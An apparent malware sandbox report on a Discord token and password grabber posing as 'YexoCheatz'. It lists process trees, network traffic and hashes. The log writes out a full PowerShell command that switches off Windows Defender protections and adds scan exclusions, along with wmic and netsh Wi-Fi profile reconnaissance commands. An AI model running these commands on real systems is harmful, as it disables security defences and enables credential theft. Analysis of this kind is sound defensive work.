PID 2688 wrote to memory of 4464 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 4464 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 4464 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 4464 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 4464 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 4464 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 4464 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 4464 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 4464 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 4464 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 4464 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 4464 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 4464 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 4464 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 4464 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 4464 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 4464 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2688 wrote to memory of 4464 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Processes

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://github.com/X-Ii7x/Discord-Token-And-Password-Grabber

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff8d51846f8,0x7ff8d5184708,0x7ff8d5184718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2084 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2460 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2824 /prefetch:8

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3412 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3424 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5324 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5324 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5368 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5376 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5460 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5400 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=6068 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6028 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6008 /prefetch:8

C:\Windows\System32\rundll32.exe

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

C:\Program Files\7-Zip\7zFM.exe

"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\Builder.rar"

C:\Users\Admin\AppData\Local\Temp\7zOC3667687\Builder.exe

"C:\Users\Admin\AppData\Local\Temp\7zOC3667687\Builder.exe"

C:\Users\Admin\AppData\Roaming\stub.exe

"C:\Users\Admin\AppData\Roaming\stub.exe"

C:\Users\Admin\AppData\Roaming\stubbi.exe

"C:\Users\Admin\AppData\Roaming\stubbi.exe"

C:\Users\Admin\AppData\LocalEiRTekvsHP.exe

"C:\Users\Admin\AppData\LocalEiRTekvsHP.exe"

C:\Users\Admin\AppData\LocalTYSzdNSVBs.bat

"C:\Users\Admin\AppData\LocalTYSzdNSVBs.bat"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2432 -ip 2432

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2432 -s 1004

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=2128 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5468 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5512 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3128 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6428 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6764 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6396 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=1760 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=6036 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=3980 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5028 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6608 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6932 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3924 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7632 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=7856 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2068,11942419965786577961,3773656204628072964,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3532 /prefetch:8

C:\Users\Admin\Downloads\YexoCheatz.exe

"C:\Users\Admin\Downloads\YexoCheatz.exe"

C:\Users\Admin\AppData\Local\Temp\BUILD.EXE

"C:\Users\Admin\AppData\Local\Temp\BUILD.EXE"

C:\Users\Admin\AppData\Local\Temp\LOADER.EXE

"C:\Users\Admin\AppData\Local\Temp\LOADER.EXE"

C:\Users\Admin\Downloads\YexoCheatz.exe

"C:\Users\Admin\Downloads\YexoCheatz.exe"

C:\Users\Admin\AppData\Local\Temp\BUILD.EXE

"C:\Users\Admin\AppData\Local\Temp\BUILD.EXE"

C:\Users\Admin\AppData\Local\Temp\LOADER.EXE

"C:\Users\Admin\AppData\Local\Temp\LOADER.EXE"

C:\Users\Admin\AppData\Local\Temp\LOADER.EXE

"C:\Users\Admin\AppData\Local\Temp\LOADER.EXE"

C:\Users\Admin\AppData\Local\Temp\LOADER.EXE

"C:\Users\Admin\AppData\Local\Temp\LOADER.EXE"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "ver"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "ver"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"

C:\Windows\System32\wbem\WMIC.exe

C:\Windows\System32\wbem\WMIC.exe csproduct get uuid

C:\Windows\System32\wbem\WMIC.exe

C:\Windows\System32\wbem\WMIC.exe csproduct get uuid

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"

C:\Windows\system32\netsh.exe

netsh wlan show profiles

C:\Windows\system32\netsh.exe

netsh wlan show profiles

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'" "

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'" "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\AppData"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\AppData"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\Local"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\Local"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic os get Caption"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic os get Caption"

C:\Windows\System32\Wbem\WMIC.exe

wmic os get Caption

C:\Windows\System32\Wbem\WMIC.exe

wmic os get Caption

C:\Windows\System32\Wbem\wmic.exe

wmic cpu get Name

C:\Windows\System32\Wbem\wmic.exe

wmic cpu get Name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"

C:\Windows\System32\Wbem\WMIC.exe

wmic computersystem get totalphysicalmemory

C:\Windows\System32\Wbem\WMIC.exe

wmic computersystem get totalphysicalmemory

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"

C:\Windows\System32\wbem\WMIC.exe

C:\Windows\System32\wbem\WMIC.exe csproduct get uuid

C:\Windows\System32\wbem\WMIC.exe

C:\Windows\System32\wbem\WMIC.exe csproduct get uuid

C:\Windows\SysWOW64\taskkill.exe

TaskKill /F /IM 4576

Network

Country Destination Domain Proto
US 8.8.8.8:53 github.com udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 github.githubassets.com udp
US 8.8.8.8:53 avatars.githubusercontent.com udp
US 185.199.108.133:443 avatars.githubusercontent.com tcp
US 185.199.109.154:443 github.githubassets.com tcp
US 8.8.8.8:53 github-cloud.s3.amazonaws.com udp
US 8.8.8.8:53 user-images.githubusercontent.com udp
US 185.199.109.154:443 github.githubassets.com tcp
US 185.199.109.154:443 github.githubassets.com tcp
US 185.199.109.154:443 github.githubassets.com tcp
US 185.199.109.154:443 github.githubassets.com tcp
US 185.199.109.154:443 github.githubassets.com tcp
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 133.108.199.185.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 154.109.199.185.in-addr.arpa udp
US 8.8.8.8:53 collector.github.com udp
US 185.199.109.154:443 github.githubassets.com tcp
US 8.8.8.8:53 api.github.com udp
US 140.82.114.22:443 collector.github.com tcp
US 140.82.114.22:443 collector.github.com tcp
GB 20.26.156.210:443 api.github.com tcp
GB 20.26.156.210:443 api.github.com tcp
US 8.8.8.8:53 22.114.82.140.in-addr.arpa udp
US 8.8.8.8:53 210.156.26.20.in-addr.arpa udp
N/A 224.0.0.251:5353 udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 raw.githubusercontent.com udp
US 185.199.108.133:443 raw.githubusercontent.com tcp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 ip4.seeip.org udp
US 23.128.64.141:443 ip4.seeip.org tcp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 141.64.128.23.in-addr.arpa udp
US 8.8.8.8:53 discord.com udp
US 162.159.137.232:443 discord.com tcp
US 162.159.137.232:443 discord.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 232.137.159.162.in-addr.arpa udp
US 8.8.8.8:53 91.90.14.23.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 github.com udp
US 8.8.8.8:53 api.github.com udp
GB 20.26.156.215:443 github.com tcp
GB 20.26.156.210:443 api.github.com tcp
US 8.8.8.8:53 github-cloud.s3.amazonaws.com udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
NL 23.62.61.97:443 www.bing.com tcp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 97.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 discord.gg udp
US 162.159.133.234:443 discord.gg tcp
US 162.159.133.234:443 discord.gg tcp
US 8.8.8.8:53 discord.com udp
US 162.159.137.232:443 discord.com tcp
US 8.8.8.8:53 234.133.159.162.in-addr.arpa udp
US 8.8.8.8:53 a.nel.cloudflare.com udp
US 35.190.80.1:443 a.nel.cloudflare.com tcp
US 35.190.80.1:443 a.nel.cloudflare.com udp
N/A 127.0.0.1:6463 tcp
US 8.8.8.8:53 1.80.190.35.in-addr.arpa udp
N/A 127.0.0.1:6464 tcp
US 8.8.8.8:53 github.com udp
US 8.8.8.8:53 github-cloud.s3.amazonaws.com udp
US 8.8.8.8:53 camo.githubusercontent.com udp
US 8.8.8.8:53 api.ipify.org udp
US 104.26.12.205:443 api.ipify.org tcp
US 104.26.12.205:443 api.ipify.org tcp
US 8.8.8.8:53 205.12.26.104.in-addr.arpa udp
US 162.159.137.232:443 discord.com tcp
US 162.159.137.232:443 discord.com tcp
US 104.26.12.205:443 api.ipify.org tcp
US 104.26.12.205:443 api.ipify.org tcp
US 162.159.137.232:443 discord.com tcp
US 162.159.137.232:443 discord.com tcp
US 162.159.137.232:443 discord.com tcp
US 162.159.137.232:443 discord.com tcp
US 162.159.137.232:443 discord.com tcp

Files

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 ea98e583ad99df195d29aa066204ab56
SHA1 f89398664af0179641aa0138b337097b617cb2db
